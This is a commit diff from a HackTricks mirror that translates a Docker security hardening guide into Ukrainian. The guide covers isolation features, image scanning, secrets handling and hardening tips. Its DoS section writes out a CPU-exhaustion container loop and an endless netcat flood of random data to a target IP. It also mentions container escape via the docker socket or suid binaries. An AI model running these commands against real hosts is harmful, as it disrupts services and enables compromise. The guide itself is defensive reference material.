maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

Browse Source
This commit is contained in:
Translator 2025-01-02 21:00:46 +00:00
parent b802957165
commit 98eb16f626
227 changed files with 7138 additions and 10228 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1078
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

305
src/linux-hardening/privilege-escalation/docker-security/README.md
View File

@ -2,56 +2,45 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## **Основна безпека Docker Engine**
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Basic Docker Engine Security**
The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions.
**Docker engine** використовує **Namespaces** та **Cgroups** ядра Linux для ізоляції контейнерів, пропонуючи базовий рівень безпеки. Додатковий захист забезпечується через **Capabilities dropping**, **Seccomp** та **SELinux/AppArmor**, що покращує ізоляцію контейнерів. **Auth plugin** може додатково обмежити дії користувачів.
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Secure Access to Docker Engine
### Безпечний доступ до Docker Engine
The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication.
The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings:
Docker engine можна отримати доступ або локально через Unix-сокет, або віддалено за допомогою HTTP. Для віддаленого доступу важливо використовувати HTTPS та **TLS** для забезпечення конфіденційності, цілісності та автентифікації.
Docker engine за замовчуванням слухає на Unix-сокеті за адресою `unix:///var/run/docker.sock`. У системах Ubuntu параметри запуску Docker визначені в `/etc/default/docker`. Щоб увімкнути віддалений доступ до Docker API та клієнта, відкрийте демон Docker через HTTP-сокет, додавши наступні налаштування:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Однак, не рекомендується відкривати демон Docker через HTTP через проблеми безпеки. Рекомендується захистити з'єднання за допомогою HTTPS. Існує два основних підходи до забезпечення безпеки з'єднання:
However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection:
1. Клієнт перевіряє особу сервера.
2. Як клієнт, так і сервер взаємно аутентифікують особу один одного.
1. The client verifies the server's identity.
2. Both the client and server mutually authenticate each other's identity.
Сертифікати використовуються для підтвердження особи сервера. Для детальних прикладів обох методів зверніться до [**цього посібника**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Безпека контейнерних образів
### Security of Container Images
Контейнерні образи можуть зберігатися в приватних або публічних репозиторіях. Docker пропонує кілька варіантів зберігання для контейнерних образів:
Container images can be stored in either private or public repositories. Docker offers several storage options for container images:
- [**Docker Hub**](https://hub.docker.com): Публічна реєстраційна служба від Docker.
- [**Docker Registry**](https://github.com/docker/distribution): Проект з відкритим кодом, що дозволяє користувачам хостити власну реєстрацію.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Комерційна реєстрація Docker, що пропонує аутентифікацію користувачів на основі ролей та інтеграцію з службами каталогів LDAP.
- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker.
- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services.
### Сканування образів
### Image Scanning
Контейнери можуть мати **вразливості безпеки** як через базовий образ, так і через програмне забезпечення, встановлене поверх базового образу. Docker працює над проектом під назвою **Nautilus**, який виконує сканування безпеки контейнерів і перераховує вразливості. Nautilus працює, порівнюючи кожен шар образу контейнера з репозиторієм вразливостей для виявлення дірок у безпеці.
Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes.
For more [**information read this**](https://docs.docker.com/engine/scan/).
Для отримання більшої [**інформації прочитайте це**](https://docs.docker.com/engine/scan/).
- **`docker scan`**
The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image:
Команда **`docker scan`** дозволяє сканувати існуючі образи Docker, використовуючи ім'я або ID образу. Наприклад, виконайте наступну команду, щоб просканувати образ hello-world:
```bash
docker scan hello-world
@ -67,103 +56,82 @@ Licenses: enabled
Note that we do not currently have vulnerability data for your image.
```
- [**`trivy`**](https://github.com/aquasecurity/trivy)
```bash
trivy -q -f json <container_name>:<tag>
```
- [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
```
- [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Підписування образів Docker
### Docker Image Signing
Підписування образів Docker забезпечує безпеку та цілісність образів, що використовуються в контейнерах. Ось стисле пояснення:
Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation:
- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io).
- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later.
- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error.
- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image.
To back up your private keys, use the command:
- **Docker Content Trust** використовує проект Notary, заснований на The Update Framework (TUF), для управління підписуванням образів. Для отримання додаткової інформації дивіться [Notary](https://github.com/docker/notary) та [TUF](https://theupdateframework.github.io).
- Щоб активувати довіру до вмісту Docker, встановіть `export DOCKER_CONTENT_TRUST=1`. Ця функція вимкнена за замовчуванням у версії Docker 1.10 і пізніше.
- З цією активованою функцією можна завантажувати лише підписані образи. Перший пуш образу вимагає встановлення паролів для кореневого та тегового ключів, при цьому Docker також підтримує Yubikey для підвищення безпеки. Більше деталей можна знайти [тут](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Спроба витягти непідписаний образ з увімкненою довірою до вмісту призводить до помилки "No trust data for latest".
- Для пушів образів після першого Docker запитує пароль ключа репозиторію для підписання образу.
Щоб зробити резервну копію ваших приватних ключів, використовуйте команду:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Коли ви перемикаєтеся між Docker-хостами, необхідно перемістити ключі root і репозиторію для підтримки роботи.
When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations.
---
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Containers Security Features
## Безпека контейнерів
<details>
<summary>Summary of Container Security Features</summary>
<summary>Підсумок функцій безпеки контейнерів</summary>
**Main Process Isolation Features**
**Основні функції ізоляції процесів**
In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts:
У контейнеризованих середовищах ізоляція проектів та їх процесів є надзвичайно важливою для безпеки та управління ресурсами. Ось спрощене пояснення ключових концепцій:
**Namespaces**
**Простори імен**
- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers.
- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does.
- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry.
- **Мета**: Забезпечити ізоляцію ресурсів, таких як процеси, мережа та файлові системи. Особливо в Docker простори імен утримують процеси контейнера окремо від хоста та інших контейнерів.
- **Використання `unshare`**: Команда `unshare` (або підлягаюча системна виклик) використовується для створення нових просторів імен, забезпечуючи додатковий рівень ізоляції. Однак, хоча Kubernetes не блокує це за замовчуванням, Docker робить це.
- **Обмеження**: Створення нових просторів імен не дозволяє процесу повернутися до стандартних просторів імен хоста. Щоб проникнути в простори імен хоста, зазвичай потрібно мати доступ до каталогу `/proc` хоста, використовуючи `nsenter` для входу.
**Control Groups (CGroups)**
**Контрольні групи (CGroups)**
- **Function**: Primarily used for allocating resources among processes.
- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access.
- **Функція**: Переважно використовуються для розподілу ресурсів між процесами.
- **Аспект безпеки**: CGroups самі по собі не забезпечують ізоляційної безпеки, за винятком функції `release_agent`, яка, якщо неправильно налаштована, може бути використана для несанкціонованого доступу.
**Capability Drop**
**Скидання можливостей**
- **Importance**: It's a crucial security feature for process isolation.
- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions.
These are the **remaining capabilities** after the process drop the others:
- **Важливість**: Це важлива функція безпеки для ізоляції процесів.
- **Функціональність**: Вона обмежує дії, які може виконувати процес з правами root, скидаючи певні можливості. Навіть якщо процес працює з привілеями root, відсутність необхідних можливостей заважає йому виконувати привілейовані дії, оскільки системні виклики зазнають невдачі через недостатні дозволи.
Це **залишкові можливості** після скидання процесом інших:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\
The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
Він увімкнений за замовчуванням у Docker. Це допомагає **додатково обмежити syscalls**, які процес може викликати.\
**Профіль Seccomp за замовчуванням Docker** можна знайти за посиланням [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Docker має шаблон, який ви можете активувати: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
This will allow to reduce capabilities, syscalls, access to files and folders...
Це дозволить зменшити можливості, syscalls, доступ до файлів і папок...
</details>
### Namespaces
**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces.
**Namespaces** - це функція ядра Linux, яка **розділяє ресурси ядра** так, що один набір **процесів** **бачить** один набір **ресурсів**, тоді як **інший** набір **процесів** бачить **інший** набір ресурсів. Функція працює, маючи один і той же простір імен для набору ресурсів і процесів, але ці простори імен посилаються на різні ресурси. Ресурси можуть існувати в кількох просторах.
Docker makes use of the following Linux kernel Namespaces to achieve Container isolation:
Docker використовує наступні простори імен ядра Linux для досягнення ізоляції контейнерів:
- pid namespace
- mount namespace
@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i
- ipc namespace
- UTS namespace
For **more information about the namespaces** check the following page:
Для **додаткової інформації про простори імен** перегляньте наступну сторінку:
{{#ref}}
namespaces/
@ -179,62 +147,58 @@ namespaces/
### cgroups
Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\
Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000.
Функція ядра Linux **cgroups** надає можливість **обмежувати ресурси, такі як cpu, пам'ять, io, мережеву пропускну здатність серед** набору процесів. Docker дозволяє створювати контейнери, використовуючи функцію cgroup, яка дозволяє контролювати ресурси для конкретного контейнера.\
Наступний контейнер створено з обмеженням пам'яті користувацького простору до 500m, обмеженням пам'яті ядра до 50m, часткою cpu до 512, blkioweight до 400. Частка CPU - це співвідношення, яке контролює використання CPU контейнером. Воно має значення за замовчуванням 1024 і діапазон від 0 до 1024. Якщо три контейнери мають однакову частку CPU 1024, кожен контейнер може використовувати до 33% CPU у разі конкуренції за ресурси CPU. blkio-weight - це співвідношення, яке контролює IO контейнера. Воно має значення за замовчуванням 500 і діапазон від 10 до 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
To get the cgroup of a container you can do:
Щоб отримати cgroup контейнера, ви можете зробити:
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
For more information check:
Для отримання додаткової інформації перевірте:
{{#ref}}
cgroups.md
{{#endref}}
### Capabilities
### Можливості
Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user.
Можливості дозволяють **більш детальний контроль за можливостями, які можуть бути дозволені** для користувача root. Docker використовує функцію можливостей ядра Linux, щоб **обмежити операції, які можуть бути виконані всередині контейнера**, незалежно від типу користувача.
When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape:
Коли запускається контейнер Docker, **процес скидає чутливі можливості, які процес міг би використати для втечі з ізоляції**. Це намагається забезпечити, що процес не зможе виконувати чутливі дії та втекти:
{{#ref}}
../linux-capabilities.md
{{#endref}}
### Seccomp in Docker
### Seccomp у Docker
This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container:
Це функція безпеки, яка дозволяє Docker **обмежити системні виклики**, які можуть бути використані всередині контейнера:
{{#ref}}
seccomp.md
{{#endref}}
### AppArmor in Docker
### AppArmor у Docker
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.:
**AppArmor** є покращенням ядра для обмеження **контейнерів** до **обмеженого** набору **ресурсів** з **профілями для кожної програми**.:
{{#ref}}
apparmor.md
{{#endref}}
### SELinux in Docker
### SELinux у Docker
- **Labeling System**: SELinux assigns a unique label to every process and filesystem object.
- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system.
- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`.
- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`.
- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`.
- **Система маркування**: SELinux призначає унікальну мітку кожному процесу та об'єкту файлової системи.
- **Забезпечення політики**: Він забезпечує виконання політик безпеки, які визначають, які дії може виконувати мітка процесу на інших мітках у системі.
- **Мітки процесів контейнера**: Коли контейнерні движки ініціюють процеси контейнера, їм зазвичай призначається обмежена мітка SELinux, зазвичай `container_t`.
- **Маркування файлів у контейнерах**: Файли всередині контейнера зазвичай маркуються як `container_file_t`.
- **Правила політики**: Політика SELinux в основному забезпечує, що процеси з міткою `container_t` можуть взаємодіяти (читати, писати, виконувати) лише з файлами, маркованими як `container_file_t`.
This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises.
Цей механізм забезпечує, що навіть якщо процес у контейнері буде скомпрометований, він обмежений у взаємодії лише з об'єктами, які мають відповідні мітки, значно обмежуючи потенційні збитки від таких компрометацій.
{{#ref}}
../selinux.md
@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised,
### AuthZ & AuthN
In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts:
У Docker плагін авторизації відіграє важливу роль у безпеці, вирішуючи, чи дозволити або заблокувати запити до демона Docker. Це рішення приймається шляхом аналізу двох ключових контекстів:
- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves.
- **Command Context**: This comprises all pertinent data related to the request being made.
- **Контекст аутентифікації**: Це включає в себе всебічну інформацію про користувача, таку як хто вони і як вони аутентифікувалися.
- **Контекст команди**: Це містить усі відповідні дані, пов'язані із запитом, що робиться.
These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations.
Ці контексти допомагають забезпечити, що обробляються лише законні запити від аутентифікованих користувачів, підвищуючи безпеку операцій Docker.
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## DoS from a container
## DoS з контейнера
If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running.
Якщо ви не обмежуєте належним чином ресурси, які може використовувати контейнер, скомпрометований контейнер може здійснити DoS на хост, на якому він працює.
- CPU DoS
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
- Bandwidth DoS
- DoS з використанням пропускної здатності
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## Interesting Docker Flags
## Цікаві прапорці Docker
### --privileged flag
In the following page you can learn **what does the `--privileged` flag imply**:
На наступній сторінці ви можете дізнатися **що означає прапорець `--privileged`**:
{{#ref}}
docker-privileged.md
@ -287,16 +247,13 @@ docker-privileged.md
#### no-new-privileges
If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it.
Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**.
Якщо ви запускаєте контейнер, в якому зловмисник зміг отримати доступ як користувач з низькими привілеями. Якщо у вас є **неправильно налаштований suid бінарний файл**, зловмисник може зловживати ним і **ескалювати привілеї всередині** контейнера. Це може дозволити йому втекти з нього.
Запуск контейнера з увімкненою опцією **`no-new-privileges`** дозволить **запобігти такій ескалації привілеїв**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### Other
#### Інше
```bash
#You can manually add/drop capabilities with
--cap-add
@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with
--security-opt label:disable
```
Для отримання додаткових опцій **`--security-opt`** перегляньте: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Інші аспекти безпеки
## Other Security Considerations
### Управління секретами: Найкращі практики
### Managing Secrets: Best Practices
Важливо уникати вбудовування секретів безпосередньо в Docker-образи або використання змінних середовища, оскільки ці методи піддають вашу чутливу інформацію ризику для будь-кого, хто має доступ до контейнера через команди, такі як `docker inspect` або `exec`.
It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`.
**Docker volumes** є більш безпечним варіантом, рекомендованим для доступу до чутливої інформації. Їх можна використовувати як тимчасову файлову систему в пам'яті, зменшуючи ризики, пов'язані з `docker inspect` та веденням журналів. Однак, користувачі з правами root та ті, хто має доступ до `exec` в контейнері, все ще можуть отримати доступ до секретів.
**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets.
**Docker secrets** пропонують ще більш безпечний метод для обробки чутливої інформації. Для екземплярів, які потребують секретів під час етапу побудови образу, **BuildKit** представляє ефективне рішення з підтримкою секретів під час побудови, що підвищує швидкість побудови та надає додаткові функції.
**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features.
Щоб скористатися BuildKit, його можна активувати трьома способами:
To leverage BuildKit, it can be activated in three ways:
1. Through an environment variable: `export DOCKER_BUILDKIT=1`
2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .`
3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart.
BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like:
1. Через змінну середовища: `export DOCKER_BUILDKIT=1`
2. Додаючи префікс до команд: `DOCKER_BUILDKIT=1 docker build .`
3. Увімкнувши його за замовчуванням у конфігурації Docker: `{ "features": { "buildkit": true } }`, після чого потрібно перезапустити Docker.
BuildKit дозволяє використовувати секрети під час побудови з опцією `--secret`, забезпечуючи, щоб ці секрети не були включені в кеш побудови образу або в фінальний образ, використовуючи команду, таку як:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example:
Для секретів, необхідних у запущеному контейнері, **Docker Compose і Kubernetes** пропонують надійні рішення. Docker Compose використовує ключ `secrets` у визначенні служби для вказівки секретних файлів, як показано в прикладі `docker-compose.yml`:
```yaml
version: "3.7"
services:
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
- my_secret
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
my_secret:
file: ./my_secret_file.txt
- my_secret
secrets:
my_secret:
file: ./my_secret_file.txt
```
Ця конфігурація дозволяє використовувати секрети при запуску сервісів за допомогою Docker Compose.
This configuration allows for the use of secrets when starting services with Docker Compose.
In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise.
У середовищах Kubernetes секрети підтримуються на рівні системи і можуть бути додатково керовані за допомогою інструментів, таких як [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Контроль доступу на основі ролей (RBAC) у Kubernetes підвищує безпеку управління секретами, подібно до Docker Enterprise.
### gVisor
**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers.
**gVisor** - це ядро програми, написане на Go, яке реалізує значну частину системної поверхні Linux. Воно включає в себе [Open Container Initiative (OCI)](https://www.opencontainers.org) середовище виконання під назвою `runsc`, яке забезпечує **межу ізоляції між додатком і ядром хоста**. Середовище виконання `runsc` інтегрується з Docker і Kubernetes, що спрощує запуск контейнерів у пісочниці.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense.
**Kata Containers** - це спільнота з відкритим кодом, яка працює над створенням безпечного середовища виконання контейнерів з легкими віртуальними машинами, які відчуваються і працюють як контейнери, але забезпечують **сильнішу ізоляцію навантаження за допомогою технології апаратної віртуалізації** як другого рівня захисту.
{% embed url="https://katacontainers.io/" %}
### Summary Tips
### Поради підсумку
- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack.
- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks.
- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required.
- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP.
- **Regularly** **rebuild** your images to **apply security patches to the host an images.**
- Manage your **secrets wisely** so it's difficult to the attacker to access them.
- If you **exposes the docker daemon use HTTPS** with client & server authentication.
- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files.
- Have **separate containers for each micro-s**ervice
- **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container.
- Have **smaller** container **images**
- **Не використовуйте прапорець `--privileged` або монтуйте** [**сокет Docker всередині контейнера**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Сокет Docker дозволяє створювати контейнери, тому це простий спосіб отримати повний контроль над хостом, наприклад, запустивши інший контейнер з прапорцем `--privileged`.
- **Не запускайте як root всередині контейнера. Використовуйте** [**іншого користувача**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **і** [**простори імен користувачів**](https://docs.docker.com/engine/security/userns-remap/)**.** Root у контейнері є тим самим, що і на хості, якщо не переназначений за допомогою просторів імен користувачів. Він лише слабо обмежений, в основному, просторами імен Linux, можливостями та cgroups.
- [**Скиньте всі можливості**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) і увімкніть лише ті, які потрібні** (`--cap-add=...`). Багато навантажень не потребують жодних можливостей, і їх додавання збільшує обсяг потенційної атаки.
- [**Використовуйте опцію безпеки “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) для запобігання отриманню процесами більше привілеїв, наприклад, через двійники suid.
- [**Обмежте ресурси, доступні контейнеру**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Обмеження ресурсів можуть захистити машину від атак відмови в обслуговуванні.
- **Налаштуйте** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(або SELinux)** профілі для обмеження дій і системних викликів, доступних для контейнера, до мінімуму.
- **Використовуйте** [**офіційні образи Docker**](https://docs.docker.com/docker-hub/official_images/) **і вимагайте підписів** або створюйте свої власні на їх основі. Не успадковуйте або не використовуйте [задні двері](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) образи. Також зберігайте кореневі ключі, пароль у безпечному місці. Docker має плани керувати ключами за допомогою UCP.
- **Регулярно** **перебудовуйте** свої образи, щоб **застосовувати патчі безпеки до хоста та образів.**
- Розумно керуйте своїми **секретами**, щоб ускладнити доступ до них для зловмисника.
- Якщо ви **використовуєте демон Docker, використовуйте HTTPS** з автентифікацією клієнта та сервера.
- У вашому Dockerfile, **надавайте перевагу COPY замість ADD**. ADD автоматично розпаковує стиснуті файли і може копіювати файли з URL-адрес. COPY не має цих можливостей. Коли це можливо, уникайте використання ADD, щоб не піддаватися атакам через віддалені URL-адреси та Zip-файли.
- Майте **окремі контейнери для кожного мікросервісу**
- **Не ставте ssh** всередині контейнера, “docker exec” можна використовувати для ssh до контейнера.
- Майте **менші** образи контейнерів
